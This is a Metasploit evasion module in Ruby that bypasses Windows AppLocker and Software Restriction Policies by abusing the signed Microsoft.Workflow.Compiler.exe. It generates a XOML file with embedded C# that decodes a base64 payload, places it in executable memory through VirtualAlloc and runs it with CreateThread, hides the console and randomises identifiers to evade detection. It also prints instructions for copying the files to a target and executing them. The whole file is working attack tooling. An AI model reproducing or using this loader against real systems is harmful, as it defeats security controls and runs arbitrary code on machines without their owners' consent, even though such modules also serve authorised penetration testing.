1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Evasion
7

8
  def initialize(info = {})
9
    super(
10
      update_info(
11
        info,
12
        'Name' => 'Applocker Evasion - Microsoft Workflow Compiler',
13
        'Description' => %q{
14
          This module will assist you in evading Microsoft
15
          Windows Applocker and Software Restriction Policies.
16
          This technique utilises the Microsoft signed binaries
17
          Microsoft.Workflow.Compiler.exe to execute user supplied code.
18
        },
19
        'Author' => [
20
          'Nick Tyrer <@NickTyrer>', # module development
21
          'Matt Graeber' # workflow_compiler bypass research
22
        ],
23
        'License' => MSF_LICENSE,
24
        'Platform' => 'win',
25
        'Arch' => [ARCH_X86, ARCH_X64],
26
        'Targets' => [['Microsoft Windows', {}]],
27
        'References' => [
28
          ['URL', 'https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb']
29
        ]
30
      )
31
    )
32

33
    register_options(
34
      [
35
        OptString.new('XOML_FILE', [true, 'Filename for the .xoml file (default: workflow.xoml)', 'workflow.xoml']),
36
        OptString.new('XML_FILE', [true, 'Filename for the .xml file (default: workflow.xml)', 'workflow.xml'])
37
      ]
38
    )
39

40
    deregister_options('FILENAME')
41
  end
42

43
  def build_payload
44
    Rex::Text.encode_base64(payload.encoded)
45
  end
46

47
  def obfu
48
    Rex::Text.rand_text_alpha 8
49
  end
50

51
  def workflow_xoml
52
    esc = build_payload
53
    mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]
54
    <<~HEREDOC
55
      <SequentialWorkflowActivity x:Class="#{mod[0]}" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
56
      <x:Code><![CDATA[
57
      public class #{mod[1]} : SequentialWorkflowActivity
58
      {
59
      public #{mod[1]}()
60
      {
61
      #{mod[2]}();
62
      }
63
      public static void #{mod[2]}()
64
      {
65
      IntPtr #{mod[3]};
66
      #{mod[3]} = GetConsoleWindow();
67
      ShowWindow(#{mod[3]}, #{mod[4]});
68
      string #{mod[5]} = "#{esc}";
69
      byte[] #{mod[6]} = Convert.FromBase64String(#{mod[5]});
70
      byte[] #{mod[7]} = #{mod[6]};
71
      IntPtr #{mod[8]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[7]}.Length, #{mod[12]}, #{mod[9]});
72
      System.Runtime.InteropServices.Marshal.Copy(#{mod[7]}, 0, #{mod[8]}, #{mod[7]}.Length);
73
      IntPtr #{mod[10]} = IntPtr.Zero;
74
      WaitForSingleObject(CreateThread(#{mod[10]}, UIntPtr.Zero, #{mod[8]}, #{mod[10]}, 0, ref #{mod[10]}), #{mod[11]});
75
      }
76
      private static Int32 #{mod[12]}=0x1000;
77
      private static IntPtr #{mod[9]}=(IntPtr)0x40;
78
      private static UInt32 #{mod[11]} = 0xFFFFFFFF;
79
      [System.Runtime.InteropServices.DllImport("kernel32")]
80
      private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);
81
      [System.Runtime.InteropServices.DllImport("kernel32")]
82
      private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr #{mod[10]});
83
      [System.Runtime.InteropServices.DllImport("kernel32")]
84
      private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);
85
      [System.Runtime.InteropServices.DllImport("user32.dll")]
86
      static extern bool ShowWindow(IntPtr #{mod[3]}, int nCmdShow);
87
      [System.Runtime.InteropServices.DllImport("Kernel32")]
88
      private static extern IntPtr GetConsoleWindow();
89
      const int #{mod[4]} = 0;
90
      }
91
      ]]></x:Code>
92
      </SequentialWorkflowActivity>
93
    HEREDOC
94
  end
95

96
  def workflow_xml
97
    <<~HEREDOC
98
      <?xml version="1.0" encoding="utf-8"?>
99
      <CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
100
      <files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
101
      <d2p1:string>#{datastore['XOML_FILE']}</d2p1:string>
102
      </files>
103
      <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
104
      <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
105
      <compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
106
      <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
107
      <embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
108
      <evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
109
      <generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
110
      <generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
111
      <includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
112
      <linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
113
      <mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
114
      <outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
115
      <tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
116
      <treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
117
      <warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
118
      <win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
119
      <d2p1:checkTypes>false</d2p1:checkTypes>
120
      <d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
121
      <d2p1:compilerOptions i:nil="true" />
122
      <d2p1:generateCCU>false</d2p1:generateCCU>
123
      <d2p1:languageToUse>CSharp</d2p1:languageToUse>
124
      <d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
125
      <d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
126
      <d2p1:mtInfo i:nil="true" />
127
      <d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
128
      </parameters>
129
      </CompilerInput>
130
    HEREDOC
131
  end
132

133
  def file_format_filename(name = '')
134
    name.empty? ? @fname : @fname = name
135
  end
136

137
  def create_files
138
    f1 = datastore['XOML_FILE'].empty? ? 'workflow.xoml' : datastore['XOML_FILE']
139
    f1 << '.xoml' unless f1.downcase.end_with?('.xoml')
140
    f2 = datastore['XML_FILE'].empty? ? 'workflow.xml' : datastore['XML_FILE']
141
    f2 << '.xml' unless f2.downcase.end_with?('.xml')
142
    xoml_file = workflow_xoml
143
    xml_file = workflow_xml
144
    file_format_filename(f1)
145
    file_create(xoml_file)
146
    file_format_filename(f2)
147
    file_create(xml_file)
148
  end
149

150
  def instructions
151
    print_status "Copy #{datastore['XOML_FILE']} and #{datastore['XML_FILE']} to the target"
152
    if payload.arch.first == ARCH_X86
153
      print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}"
154
    else
155
      print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}"
156
    end
157
  end
158

159
  def run
160
    create_files
161
    instructions
162
  end
163
end
164

165